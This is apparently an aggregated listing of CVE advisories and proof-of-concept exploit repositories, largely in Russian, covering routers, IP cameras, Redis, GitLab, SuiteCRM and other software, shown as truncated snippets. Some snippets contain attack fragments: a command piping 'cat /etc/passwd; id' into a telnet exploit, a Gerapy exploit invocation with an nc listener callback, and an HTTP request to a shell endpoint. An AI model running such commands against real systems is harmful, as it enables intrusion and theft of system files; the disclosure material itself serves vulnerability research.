CVE-2026-20841

CVE-2026-20841 Этот контент соответствует части того, что предоставляется через Ежемесячный отчёт для подписчиков PatchPoint. Обзор Microsoft раскрыла исправление для уязвимости RCE в Блокноте в феврале 2026 года. Уязвимость представляет собой уязвимость внедрения команд, которая возникает в...

CVE-2021-22205-gitlab

Влияние уязвимости В GitLab CE/EE обнаружена проблема, затрагивающая все версии, начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых в анализатор файлов, что приводило к удалённому выполнению команд. Уязвимый продукт Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6...

CVE-2024-12856

CVE-2024-12856 Это эксплойт для маршрутизаторов Four-Faith моделей F3x24 и F3x36, позволяющий получить reverse shell. «Маршрутизаторы Four-Faith моделей F3x24 и F3x36 подвержены уязвимости внедрения команд операционной системы OS. По крайней мере, версия прошивки 2.0 позволяет аутентифицированным...

CVE-2026-24061-POC

CVE-2026-24061-POC echo "cat /etc/passwd; id;" | python poc2.py TARGET 23 1. Таймаут соединения Расположение: строка 25 в методе establishconnection python self.connection.settimeout10 -- Adjustable connection timeout Назначение: определяет, как долго ждать первоначального TCP-соединения с целью...

CVE-2026-25589-25588-25243-23631-23479-REDIS

РУКОВОДСТВО ПО ПРОВЕРКЕ И УСТРАНЕНИЮ 5 CVE REDIS ПО СОСТОЯНИЮ НА 08.05.2026 Дата выпуска: 2026-05-08 Автор: TonyCao [email protected] Источник: Redis Security Advisory ОГЛАВЛЕНИЕ 1. Обзор 2. Затронутые версии 3. Детали по каждому CVE CVE-2026-23479 — Use-after-free в Unblock Client Flow...

CVE-2021-45897

CVE-2021-45897 PoC для CVE-2021-45897, также известной как SCRMBT-180 — RCE через Email-Templates только для аутентифицированных пользователей в SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 Пример использования: .venv ➜...

CVE-2026-0834

CVE-2026-0834 PoC Обход аутентификации в протоколе отладки устройств TP-Link TDDP CVE-2026-0834 Обзор Уязвимость в сервисе TDDP TP-Link Device Debug Protocol позволяет неаутентифицированным удалённым злоумышленникам в локальной сети выполнять административные команды. При обработке пакетов TDDPv2...

CVE-2026-25546-godot-mcp-0.1.1-OS-Command-Injection

CVE-2026-25546 PoC - godot-mcp OS Command Injection Автор: Mohammed Idrees Banyamer GitHub: mbanyamer Дата: 04 февраля 2026 Название эксплойта godot-mcp 0.1.1 - OS Command Injection через projectPath CVE CVE-2026-25546 CWE CWE-78 Improper Neutralization of Special Elements used in an OS Command -...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

CVE-2026-25512 PoC – Group-Office аутентифицированное RCE через TNEF-обработчик Автор: Mohammed Idrees Banyamer Псевдоним: @banyamersecurity GitHub: mbanyamer Дата: 04 февраля 2026 Название эксплойта Group-Office Intermesh 26.0.4 – аутентифицированное RCE через TNEF-обработчик вложений CVE...

CVE-2026-25130-Cybersecurity-AI-CAI-Framework-0.5.10

CVE-2026-25130 – PoC внедрения аргументов / OS-инъекции в Cybersecurity AI CAI Framework Автор: Mohammed Idrees Banyamer Страна: Иордания GitHub: https://github.com/yourusername Instagram: @banyamersecurity Обзор Этот репозиторий содержит Proof of Concept PoC, демонстрирующий уязвимость внедрения...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 — шаблон Nuclei для неаутентифицированного RCE в OpenCode для сканирования. запрос burp suite POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 POST /session/"id"/shell HTTP/1.1 Host:...

cve-2021-32849

cve-2021-32849 cve-2021-32849 Gerapy command execution Usage First start an nc listener, then use the exp to attack python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 Gerapy command execution Disclaimer This script is for learning and reference only. Do not maliciously attack other people's websites. If you violate laws or regulations, all consequences shall be borne by the user. Technology is innocent and has nothing to do with t...

CVE-2026-12542

A flaw was found in Foreman. The foreman-tail utility is vulnerable to OS command injection due to the unsafe use of the eval command. The script takes user-supplied arguments and incorporates them directly into a string that is then executed by eval to expand file paths. Because the input is not...

CVE-2026-12545

A flaw was found in rubygem-hammercli. A command injection vulnerability exists in Hammer CLI and the Railties Ruby on Rails component distributed with Satellite due to the insecure interpolation of the $EDITOR environment variable into the Ruby system method. By passing a single interpolated...

CVE-2026-104018

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...

CVE-2026-102369

Tapo C120 v1 and C200 V5 do not adequately protect login challenge data or sanitize attacker-controlled input processed by the MacTool handler. An unauthenticated attacker on the same local network can replay login challenge data to obtain an administrative session, enable a privileged service th...

CVE-2026-102294

TP-Link TL-WR841N contains an authenticated OS command injection vulnerability in the IPv6 WAN configuration. A crafted IPv6 Gateway value is improperly incorporated into a system command, allowing an authenticated administrator to execute arbitrary operating system commands. Successful...

wheelaudit

wheelaudit Python Wheel File Security Scanner — scan .whl files for security issues before installation. Motivated by recent CVEs in Python wheel handling: CVE-2026-24049 : Path traversal in wheel unpack allows permission manipulation of system files CVE-2026-1703 : Path traversal when pip instal...

tapo-c260-rce

Tapo C260 RCE Chain CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653 Proof-of-concept exploit chain for TP-Link Tapo C260 IP camera achieving unauthenticated-to-root RCE by chaining three vulnerabilities discovered by Eugene Lim Spaceraccoon. Credit All vulnerability research and discovery byEugene...